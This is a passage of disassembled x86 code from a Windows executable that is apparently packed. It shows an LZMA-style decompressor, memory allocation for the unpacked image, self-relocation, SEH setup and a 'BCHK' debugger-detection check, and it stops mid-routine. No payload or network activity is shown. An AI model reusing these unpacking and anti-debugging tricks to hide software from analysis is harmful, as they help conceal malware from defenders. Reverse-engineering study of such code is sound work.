aARequired_dllF	db 'A required .DLL file, %hs, was not found.',0
					; DATA XREF: sub_42AA39+558o
		align 4
aErrorAllocatin	db 'Error allocating memory!',0 ; DATA XREF: sub_42AA39+2CDo
		align 10h
dword_42A150	dd 5F696DCh, 36632B29h,	38C48BADh, 13A7F29Ch ; DATA XREF: sub_42B421+131o
aWks:					; DATA XREF: sub_42B421+F1o
		unicode	0, <wks>,0
aOleaut32_dll	db 'oleaut32.dll',0     ; DATA XREF: sub_42B421+57o
		align 4
aCorbindtorunti	db 'CorBindToRuntimeEx',0 ; DATA XREF: sub_42B421+4Fo
		align 4
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: sub_42B421+45o
aCouninitialize	db 'CoUninitialize',0   ; DATA XREF: sub_42B421+38o
		align 4
aCoinitialize	db 'CoInitialize',0     ; DATA XREF: sub_42B421+2Do
		align 4
aOle32_dll	db 'ole32.dll',0        ; DATA XREF: sub_42B421+11o
		align 4
		dd 2A200h, 2 dup(0)
		dd 2A304h, 2A234h, 2A228h, 2 dup(0)
		dd 2A32Ch, 2A25Ch, 5 dup(0)
		dd 2A268h, 2A276h, 2A286h, 2A298h, 2A2AAh, 2A2BEh, 2A2D0h
		dd 2A2DEh, 2A2F4h, 0
		dd 2A312h, 2A31Eh, 0
dword_42A234	dd 77E79E34h		; DATA XREF: sub_42A960+ADr
					; sub_42AA39+3ADr ...
dword_42A238	dd 77E7980Ah		; DATA XREF: sub_42A960+65r
					; sub_42AA39+142r ...
dword_42A23C	dd 77E7A5FDh		; DATA XREF: sub_42AA39+5F0r
					; sub_42AA39+612r ...
dword_42A240	dd 77E805B8h		; DATA XREF: sub_42AA39+508r
					; sub_42AA39+546r
dword_42A244	dd 77E79F93h		; DATA XREF: sub_42AA39+4F2r
dword_42A248	dd 77E6169Ah		; DATA XREF: sub_42AA39+4DAr
					; sub_42AA39+696r ...
dword_42A24C	dd 77E75CB5h		; CODE XREF: sub_42B39D+2Cp
					; DATA XREF: sub_42AA39+2DCr ...
dword_42A250	dd 77E7A099h		; DATA XREF: sub_42AA39+177r
dword_42A254	dd 77E805D8h		; DATA XREF: sub_42B421+9r
		dd 0
dword_42A25C	dd 77D4C96Ah		; DATA XREF: sub_42AA39+560r
					; sub_42AA39+64Br ...
dword_42A260	dd 77D6ADD7h		; DATA XREF: sub_42AA39+2D4r
					; sub_42AA39+573r ...
		align 8
		dd 69560378h, 61757472h, 6572466Ch, 3750065h, 74726956h
		dd 416C6175h, 636F6C6Ch, 1980000h, 50746547h, 41636F72h
		dd 65726464h, 7373h, 6F4C0249h,	694C6461h, 72617262h, 41784579h
		dd 1770000h, 4D746547h,	6C75646Fh, 6E614865h, 41656C64h
		dd 37B0000h, 74726956h,	506C6175h, 65746F72h, 7463h, 784500AFh
		dd 72507469h, 7365636Fh, 1750073h
aGetmodulefil_1	db 'GetModuleFileNameA',0
		align 4
		dd 6F4C0248h, 694C6461h, 72617262h, 4179h, 4E52454Bh, 32334C45h
		dd 6C6C642Eh, 2D50000h,	72707377h, 66746E69h, 1DE0041h
		dd 7373654Dh, 42656761h, 41786Fh, 52455355h, 642E3233h
		dd 6C6Ch
; ---------------------------------------------------------------------------


loc_42A338:				; DATA XREF: sub_42B421+E5o
		and	ah, [edi+2Fh]
		retf
; ---------------------------------------------------------------------------
		cmp	ch, [ebx+409C11D2h]
		add	al, al
		dec	edi
		mov	ds:67233E0Ah, eax ; DATA XREF: sub_42B421+EAo
		das
		retf
; ---------------------------------------------------------------------------
		dd 11D2AB3Ah, 0C000409Ch, 3E0AA34Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A358	proc near		; CODE XREF: sub_42A5EB+309p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		push	esi
		xor	eax, eax
		mov	esi, [ecx+8]
		push	edi
		mov	edi, [ecx+0Ch]
		test	edx, edx
		jle	short loc_42A3B0
		push	ebx
		mov	[ebp+arg_0], edx


loc_42A373:				; CODE XREF: sub_42A358+55j
		shr	esi, 1
		shl	eax, 1
		cmp	edi, esi
		jb	short loc_42A37F
		sub	edi, esi
		or	al, 1


loc_42A37F:				; CODE XREF: sub_42A358+21j
		cmp	esi, 1000000h
		jnb	short loc_42A3AA
		mov	edx, [ecx]
		shl	esi, 8
		cmp	edx, [ecx+4]
		jnz	short loc_42A39D
		mov	dword ptr [ecx+10h], 1
		or	bl, 0FFh
		jmp	short loc_42A3A2
; ---------------------------------------------------------------------------


loc_42A39D:				; CODE XREF: sub_42A358+37j
		mov	bl, [edx]
		inc	edx
		mov	[ecx], edx


loc_42A3A2:				; CODE XREF: sub_42A358+43j
		movzx	edx, bl
		shl	edi, 8
		or	edi, edx


loc_42A3AA:				; CODE XREF: sub_42A358+2Dj
		dec	[ebp+arg_0]
		jnz	short loc_42A373
		pop	ebx


loc_42A3B0:				; CODE XREF: sub_42A358+15j
		mov	[ecx+0Ch], edi
		mov	[ecx+8], esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_42A358	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A3BA	proc near		; CODE XREF: sub_42A47F+1Dp
					; sub_42A4B6+1Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	eax, [ecx+8]
		movzx	esi, word ptr [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, esi
		mov	esi, [ecx+0Ch]
		cmp	esi, edi
		jnb	short loc_42A42B
		mov	[ecx+8], edi
		mov	ax, [edx]
		movzx	esi, ax
		mov	edi, 800h
		sub	edi, esi
		sar	edi, 5
		add	edi, eax
		mov	[edx], di
		mov	eax, [ecx+8]
		cmp	eax, 1000000h
		jnb	short loc_42A427
		mov	esi, [ecx]
		cmp	esi, [ecx+4]
		jnz	short loc_42A40E
		mov	dword ptr [ecx+10h], 1
		or	dl, 0FFh
		jmp	short loc_42A413
; ---------------------------------------------------------------------------


loc_42A40E:				; CODE XREF: sub_42A3BA+46j
		mov	dl, [esi]
		inc	esi
		mov	[ecx], esi


loc_42A413:				; CODE XREF: sub_42A3BA+52j
		mov	esi, [ecx+0Ch]
		movzx	edx, dl
		shl	esi, 8
		or	esi, edx
		shl	eax, 8
		mov	[ecx+0Ch], esi
		mov	[ecx+8], eax


loc_42A427:				; CODE XREF: sub_42A3BA+3Fj
		xor	eax, eax
		jmp	short loc_42A47C
; ---------------------------------------------------------------------------


loc_42A42B:				; CODE XREF: sub_42A3BA+1Dj
		sub	eax, edi
		sub	esi, edi
		mov	[ecx+8], eax
		mov	[ecx+0Ch], esi
		mov	ax, [edx]
		push	1
		mov	si, ax
		shr	si, 5
		sub	eax, esi
		mov	[edx], ax
		mov	edx, [ecx+8]
		cmp	edx, 1000000h
		pop	eax
		jnb	short loc_42A47C
		mov	esi, [ecx]
		push	ebx
		cmp	esi, [ecx+4]
		jnz	short loc_42A462
		mov	[ecx+10h], eax
		or	bl, 0FFh
		jmp	short loc_42A467
; ---------------------------------------------------------------------------


loc_42A462:				; CODE XREF: sub_42A3BA+9Ej
		mov	bl, [esi]
		inc	esi
		mov	[ecx], esi


loc_42A467:				; CODE XREF: sub_42A3BA+A6j
		mov	esi, [ecx+0Ch]
		movzx	edi, bl
		shl	esi, 8
		or	esi, edi
		pop	ebx
		shl	edx, 8
		mov	[ecx+0Ch], esi
		mov	[ecx+8], edx


loc_42A47C:				; CODE XREF: sub_42A3BA+6Fj
					; sub_42A3BA+96j
		pop	edi
		pop	esi
		retn
sub_42A3BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A47F	proc near		; CODE XREF: sub_42A576+26p
					; sub_42A576+51p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	1
		pop	eax
		jle	short loc_42A4AA
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]


loc_42A490:				; CODE XREF: sub_42A47F+27j
		push	[ebp+arg_8]
		lea	esi, [eax+eax]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	eax
		call	sub_42A3BA
		pop	ecx
		add	eax, esi
		dec	edi
		pop	ecx
		jnz	short loc_42A490
		pop	edi
		pop	esi


loc_42A4AA:				; CODE XREF: sub_42A47F+Aj
		mov	ecx, [ebp+arg_4]
		push	1
		pop	edx
		shl	edx, cl
		sub	eax, edx
		pop	ebp
		retn
sub_42A47F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A4B6	proc near		; CODE XREF: sub_42A5EB+2F5p
					; sub_42A5EB+320p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	edi
		xor	ebx, ebx
		push	1
		xor	edi, edi
		cmp	[esp+0Ch+arg_4], ebx
		pop	edx
		jle	short loc_42A4EC
		push	esi


loc_42A4C6:				; CODE XREF: sub_42A4B6+33j
		mov	eax, [esp+0Ch+arg_0]
		push	[esp+0Ch+arg_8]
		lea	esi, [edx+edx]
		add	eax, esi
		push	eax
		call	sub_42A3BA
		pop	ecx
		lea	edx, [esi+eax]
		pop	ecx
		mov	ecx, edi
		shl	eax, cl
		or	ebx, eax
		inc	edi
		cmp	edi, [esp+0Ch+arg_4]
		jl	short loc_42A4C6
		pop	esi


loc_42A4EC:				; CODE XREF: sub_42A4B6+Dj
		mov	eax, ebx
		pop	edi
		pop	ebx
		retn
sub_42A4B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A4F1	proc near		; CODE XREF: sub_42A5EB+143p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		movzx	esi, [ebp+arg_8]
		shr	esi, 7
		shl	[ebp+arg_8], 1
		mov	eax, esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	[ebp+arg_4]
		shl	eax, 9
		lea	eax, [eax+edi+202h]
		push	eax
		call	sub_42A3BA
		pop	ecx
		mov	ebx, eax
		pop	ecx
		or	ebx, 2


loc_42A520:				; CODE XREF: sub_42A4F1+5Fj
		cmp	esi, eax
		jnz	short loc_42A552
		cmp	ebx, 100h
		jge	short loc_42A56F
		movzx	esi, [ebp+arg_8]
		shr	esi, 7
		push	[ebp+arg_4]
		lea	eax, [esi+1]
		shl	[ebp+arg_8], 1
		shl	eax, 8
		add	eax, ebx
		lea	eax, [edi+eax*2]
		push	eax
		call	sub_42A3BA
		pop	ecx
		add	ebx, ebx
		pop	ecx
		or	ebx, eax
		jmp	short loc_42A520
; ---------------------------------------------------------------------------


loc_42A552:				; CODE XREF: sub_42A4F1+31j
		mov	esi, 100h


loc_42A557:				; CODE XREF: sub_42A4F1+7Cj
		cmp	ebx, esi
		jge	short loc_42A56F
		push	[ebp+arg_4]
		add	ebx, ebx
		lea	eax, [ebx+edi]
		push	eax
		call	sub_42A3BA
		pop	ecx
		or	ebx, eax
		pop	ecx
		jmp	short loc_42A557
; ---------------------------------------------------------------------------


loc_42A56F:				; CODE XREF: sub_42A4F1+39j
					; sub_42A4F1+68j
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42A4F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A576	proc near		; CODE XREF: sub_42A5EB+24Fp
					; sub_42A5EB+29Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		push	esi
		call	sub_42A3BA
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		jnz	short loc_42A5A6
		mov	eax, [esp+0Ch+arg_8]
		push	3
		shl	eax, 4
		lea	eax, [eax+esi+4]
		push	eax
		call	sub_42A47F
		add	esp, 0Ch
		jmp	short loc_42A5E8
; ---------------------------------------------------------------------------


loc_42A5A6:				; CODE XREF: sub_42A576+16j
		lea	eax, [esi+2]
		push	eax
		call	sub_42A3BA
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		jnz	short loc_42A5D4
		mov	eax, [esp+0Ch+arg_8]
		push	3
		shl	eax, 4
		lea	eax, [eax+esi+104h]
		push	eax
		call	sub_42A47F
		add	esp, 0Ch
		add	eax, 8
		jmp	short loc_42A5E8
; ---------------------------------------------------------------------------


loc_42A5D4:				; CODE XREF: sub_42A576+3Ej
		add	esi, 204h
		push	8
		push	esi
		call	sub_42A47F
		add	esp, 0Ch
		add	eax, 10h


loc_42A5E8:				; CODE XREF: sub_42A576+2Ej
					; sub_42A576+5Cj
		pop	edi
		pop	esi
		retn
sub_42A576	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A5EB	proc near		; CODE XREF: sub_42A960+95p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_C]
		push	1
		pop	edx
		xor	bl, bl
		lea	ecx, [eax+edi]
		mov	eax, 300h
		shl	eax, cl
		xor	ecx, ecx
		mov	esi, edx
		mov	[ebp+var_4], ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+arg_C], ecx
		mov	ecx, [ebp+arg_10]
		shl	esi, cl
		add	eax, 736h
		mov	ecx, edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_C], edx
		mov	[ebp+var_18], edx
		dec	esi
		mov	[ebp+var_1C], esi
		mov	esi, edx
		shl	esi, cl
		dec	esi
		mov	[ebp+var_20], esi
		mov	esi, [ebp+arg_0]
		test	eax, eax
		jbe	short loc_42A653
		mov	ecx, eax
		mov	eax, 4000400h
		mov	edi, esi
		shr	ecx, 1
		rep stosd
		adc	ecx, ecx
		rep stosw


loc_42A653:				; CODE XREF: sub_42A5EB+54j
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+arg_18]
		and	[ebp+var_24], 0
		and	[ebp+var_28], 0
		or	[ebp+var_2C], 0FFFFFFFFh
		lea	edi, [eax+ecx]
		mov	[ebp+var_34], eax
		mov	[ebp+var_30], edi
		mov	[ebp+arg_10], 5


loc_42A675:				; CODE XREF: sub_42A5EB+AFj
		cmp	[ebp+var_34], edi
		jnz	short loc_42A681
		mov	[ebp+var_24], edx
		or	al, 0FFh
		jmp	short loc_42A689
; ---------------------------------------------------------------------------


loc_42A681:				; CODE XREF: sub_42A5EB+8Dj
		mov	eax, [ebp+var_34]
		mov	al, [eax]
		inc	[ebp+var_34]


loc_42A689:				; CODE XREF: sub_42A5EB+94j
		mov	ecx, [ebp+var_28]
		movzx	eax, al
		shl	ecx, 8
		or	ecx, eax
		dec	[ebp+arg_10]
		mov	[ebp+var_28], ecx
		jnz	short loc_42A675
		mov	eax, [ebp+arg_24]
		and	dword ptr [eax], 0
		cmp	[ebp+arg_20], 0
		jbe	loc_42A951


loc_42A6AC:				; CODE XREF: sub_42A5EB+360j
		mov	edi, [ebp+var_1C]
		lea	eax, [ebp+var_34]
		and	edi, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		add	eax, edi
		lea	eax, [esi+eax*2]
		push	eax
		call	sub_42A3BA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_42A761
		mov	edx, [ebp+var_20]
		mov	cl, 8
		sub	cl, byte ptr [ebp+arg_8]
		and	edx, [ebp+arg_C]
		movzx	eax, bl
		shr	eax, cl
		mov	ecx, [ebp+arg_8]
		shl	edx, cl
		add	eax, edx
		lea	eax, [eax+eax*2]
		shl	eax, 9
		cmp	[ebp+var_4], 4
		lea	edi, [eax+esi+0E6Ch]
		jge	short loc_42A701
		and	[ebp+var_4], 0
		jmp	short loc_42A711
; ---------------------------------------------------------------------------


loc_42A701:				; CODE XREF: sub_42A5EB+10Ej
		cmp	[ebp+var_4], 0Ah
		jge	short loc_42A70D
		sub	[ebp+var_4], 3
		jmp	short loc_42A711
; ---------------------------------------------------------------------------


loc_42A70D:				; CODE XREF: sub_42A5EB+11Aj
		sub	[ebp+var_4], 6


loc_42A711:				; CODE XREF: sub_42A5EB+114j
					; sub_42A5EB+120j
		cmp	[ebp+var_14], 0
		jz	short loc_42A73E
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_1C]
		sub	eax, [ebp+var_8]
		mov	al, [eax+ecx]
		mov	byte ptr [ebp+arg_10], al
		lea	eax, [ebp+var_34]
		push	[ebp+arg_10]
		push	eax
		push	edi
		call	sub_42A4F1
		add	esp, 0Ch
		and	[ebp+var_14], 0
		mov	bl, al
		jmp	short loc_42A75C
; ---------------------------------------------------------------------------


loc_42A73E:				; CODE XREF: sub_42A5EB+12Aj
		push	1
		pop	ebx


loc_42A741:				; CODE XREF: sub_42A5EB+16Fj
		add	ebx, ebx
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebx+edi]
		push	eax
		call	sub_42A3BA
		or	ebx, eax
		pop	ecx
		cmp	ebx, 100h
		pop	ecx
		jl	short loc_42A741


loc_42A75C:				; CODE XREF: sub_42A5EB+151j
		mov	eax, [ebp+arg_1C]
		jmp	short loc_42A7D4
; ---------------------------------------------------------------------------


loc_42A761:				; CODE XREF: sub_42A5EB+E0j
		mov	ebx, [ebp+var_4]
		lea	eax, [ebp+var_34]
		push	eax
		mov	[ebp+var_14], 1
		lea	eax, [esi+ebx*2+180h]
		push	eax
		call	sub_42A3BA
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_42A85A
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+ebx*2+198h]
		push	eax
		call	sub_42A3BA
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_34]
		push	eax
		jnz	short loc_42A7E2
		lea	eax, [ebx+0Fh]
		shl	eax, 4
		add	eax, edi
		lea	eax, [esi+eax*2]
		push	eax
		call	sub_42A3BA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_42A82E
		cmp	ebx, 7
		mov	ecx, [ebp+arg_C]
		setnl	al
		dec	eax
		and	al, 0FEh
		add	eax, 0Bh
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_1C]
		mov	bl, [ecx+eax]


loc_42A7D4:				; CODE XREF: sub_42A5EB+174j
		mov	ecx, [ebp+arg_C]
		inc	[ebp+arg_C]
		mov	[ecx+eax], bl
		jmp	loc_42A945
; ---------------------------------------------------------------------------


loc_42A7E2:				; CODE XREF: sub_42A5EB+1B5j
		lea	eax, [esi+ebx*2+1B0h]
		push	eax
		call	sub_42A3BA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_42A7FA
		mov	eax, [ebp+var_10]
		jmp	short loc_42A825
; ---------------------------------------------------------------------------


loc_42A7FA:				; CODE XREF: sub_42A5EB+208j
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+ebx*2+1C8h]
		push	eax
		call	sub_42A3BA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_42A816
		mov	eax, [ebp+var_C]
		jmp	short loc_42A81F
; ---------------------------------------------------------------------------


loc_42A816:				; CODE XREF: sub_42A5EB+224j
		mov	ecx, [ebp+var_C]
		mov	eax, [ebp+var_18]
		mov	[ebp+var_18], ecx


loc_42A81F:				; CODE XREF: sub_42A5EB+229j
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_C], ecx


loc_42A825:				; CODE XREF: sub_42A5EB+20Dj
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_8], eax
		mov	[ebp+var_10], ecx


loc_42A82E:				; CODE XREF: sub_42A5EB+1CCj
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [esi+0A68h]
		push	eax
		call	sub_42A576
		mov	edi, eax
		add	esp, 0Ch
		xor	eax, eax
		cmp	ebx, 7
		setnl	al
		dec	eax
		and	al, 0FDh
		add	eax, 0Bh
		mov	[ebp+var_4], eax
		jmp	loc_42A91E
; ---------------------------------------------------------------------------


loc_42A85A:				; CODE XREF: sub_42A5EB+196j
		mov	eax, [ebp+var_C]
		push	edi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		xor	eax, eax
		cmp	ebx, 7
		setnl	al
		dec	eax
		and	al, 0FDh
		add	eax, 0Ah
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+664h]
		push	eax
		call	sub_42A576
		mov	edi, eax
		add	esp, 0Ch
		cmp	edi, 4
		jge	short loc_42A89A
		jmp	short loc_42A89D
; ---------------------------------------------------------------------------


loc_42A89A:				; CODE XREF: sub_42A5EB+2ABj
		push	3
		pop	eax


loc_42A89D:				; CODE XREF: sub_42A5EB+2ADj
		shl	eax, 7
		lea	ecx, [ebp+var_34]
		push	ecx
		lea	eax, [eax+esi+360h]
		push	6
		push	eax
		call	sub_42A47F
		add	esp, 0Ch
		cmp	eax, 4
		jl	short loc_42A915
		mov	ecx, eax
		mov	ebx, eax
		sar	ecx, 1
		and	ebx, 1
		dec	ecx
		or	ebx, 2
		shl	ebx, cl
		cmp	eax, 0Eh
		jge	short loc_42A8EC
		lea	edx, [ebp+var_34]
		push	edx
		push	ecx
		mov	ecx, ebx
		sub	ecx, eax
		lea	eax, [esi+ecx*2+55Eh]
		push	eax
		call	sub_42A4B6
		add	esp, 0Ch


loc_42A8E8:				; CODE XREF: sub_42A5EB+328j
		add	ebx, eax
		jmp	short loc_42A91A
; ---------------------------------------------------------------------------


loc_42A8EC:				; CODE XREF: sub_42A5EB+2E2j
		add	ecx, 0FFFFFFFCh
		lea	eax, [ebp+var_34]
		push	ecx
		push	eax
		call	sub_42A358
		shl	eax, 4
		add	ebx, eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+644h]
		push	4
		push	eax
		call	sub_42A4B6
		add	esp, 14h
		jmp	short loc_42A8E8
; ---------------------------------------------------------------------------


loc_42A915:				; CODE XREF: sub_42A5EB+2CEj
		mov	[ebp+var_8], eax
		mov	ebx, eax


loc_42A91A:				; CODE XREF: sub_42A5EB+2FFj
		inc	ebx
		mov	[ebp+var_8], ebx


loc_42A91E:				; CODE XREF: sub_42A5EB+26Aj
		cmp	[ebp+var_8], 0
		jz	short loc_42A951
		inc	edi
		inc	edi


loc_42A926:				; CODE XREF: sub_42A5EB+358j
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_1C]
		mov	edx, ecx
		sub	edx, [ebp+var_8]
		mov	bl, [edx+eax]
		mov	[ecx+eax], bl
		inc	ecx
		dec	edi
		mov	[ebp+arg_C], ecx
		test	edi, edi
		jle	short loc_42A945
		cmp	ecx, [ebp+arg_20]
		jb	short loc_42A926


loc_42A945:				; CODE XREF: sub_42A5EB+1F2j
					; sub_42A5EB+353j
		mov	eax, [ebp+arg_C]
		cmp	eax, [ebp+arg_20]
		jb	loc_42A6AC


loc_42A951:				; CODE XREF: sub_42A5EB+BBj
					; sub_42A5EB+337j
		mov	ecx, [ebp+arg_24]
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		mov	[ecx], eax
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_42A5EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A960	proc near		; CODE XREF: sub_42AA39+26Fp
					; sub_42AA39+329p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	cl, [eax]
		cmp	cl, 0E1h
		jnb	short loc_42A9D2
		xor	ebx, ebx
		cmp	cl, 2Dh
		mov	[ebp+var_4], ebx
		jb	short loc_42A990
		movzx	eax, cl
		push	2Dh
		xor	edx, edx
		pop	esi
		div	esi
		mov	[ebp+var_4], eax


loc_42A98A:				; CODE XREF: sub_42A960+2Ej
		add	cl, 0D3h
		dec	eax
		jnz	short loc_42A98A


loc_42A990:				; CODE XREF: sub_42A960+1Bj
		cmp	cl, 9
		jb	short loc_42A9A7
		movzx	eax, cl
		push	9
		xor	edx, edx
		pop	esi
		div	esi
		mov	ebx, eax


loc_42A9A1:				; CODE XREF: sub_42A960+45j
		add	cl, 0F7h
		dec	eax
		jnz	short loc_42A9A1


loc_42A9A7:				; CODE XREF: sub_42A960+33j
		movzx	esi, cl
		mov	eax, 300h
		push	4
		lea	ecx, [esi+ebx]
		push	1000h
		shl	eax, cl
		lea	edi, [eax+eax+0E6Ch]
		push	edi
		push	0
		call	dword_42A238	; VirtualAlloc
		test	eax, eax
		mov	[ebp+var_C], eax
		jnz	short loc_42A9D7


loc_42A9D2:				; CODE XREF: sub_42A960+11j
		push	1
		pop	eax
		jmp	short loc_42AA34
; ---------------------------------------------------------------------------


loc_42A9D7:				; CODE XREF: sub_42A960+70j
		lea	ecx, [ebp+var_8]
		push	ecx
		mov	ecx, [ebp+arg_4]
		push	0FFFFFFFFh
		add	ecx, 0FFFFFFFBh
		push	[ebp+arg_8]
		push	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, 5
		push	ecx
		push	[ebp+var_4]
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_42A5EB
		add	esp, 28h
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		mov	edi, eax
		push	8000h
		push	ebx
		push	[ebp+var_C]
		call	dword_42A234	; VirtualFree
		lea	eax, [ebp+var_10]
		mov	[ebp+var_14], ebx
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	esi
		mov	[ebp+var_10], 0FFFFFFFBh
		push	[ebp+arg_8]
		call	sub_42B6A2
		add	esp, 14h
		mov	eax, edi


loc_42AA34:				; CODE XREF: sub_42A960+75j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42A960	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AA39	proc near		; DATA XREF: sub_42AA39+30o

var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0042B309 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		rep jmp	short loc_42AA55
; ---------------------------------------------------------------------------
		db 65h,	58h, 50h
		dd 2E762D72h, 2E342E31h
		db 0
; ---------------------------------------------------------------------------


loc_42AA55:				; CODE XREF: sub_42AA39+Dj
		mov	eax, dword_42A000
		add	eax, offset dword_42A000
		mov	off_42A024, eax
		mov	eax, off_42A024
		mov	ecx, offset sub_42AA39
		sub	ecx, [eax+18h]
		mov	dword_42A028, ecx
		cmp	dword_42A02C, 0
		jz	short loc_42AA96
		mov	eax, off_42A024
		mov	ecx, dword_42A028
		add	ecx, [eax+14h]
		mov	[ebp+var_38], ecx
		jmp	loc_42B2A4
; ---------------------------------------------------------------------------


loc_42AA96:				; CODE XREF: sub_42AA39+45j
		mov	dword_42A02C, 1
		mov	eax, offset sub_42B3E1
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		push	5
		mov	eax, offset sub_42B401
		add	eax, 0Eh
		push	eax
		call	sub_42B401
		pop	ecx
		pop	ecx
		imul	eax, 8Ch
		mov	ecx, off_42A024
		add	ecx, eax
		mov	off_42A024, ecx
		call	sub_42B39D
		imul	eax, 8Ch
		mov	ecx, off_42A024
		add	ecx, eax
		mov	off_42A024, ecx
		mov	dword_42A030, offset loc_42AB18
		push	ebp
		push	eax
		mov	eax, 0B9h
		add	eax, 13h
		mov	ebp, offset loc_42AB18
		mov	[ebp+0], al
		mov	ebp, 4243484Bh
		mov	ax, 4


loc_42AB18:				; DATA XREF: sub_42AA39+BAo
					; sub_42AA39+CEo
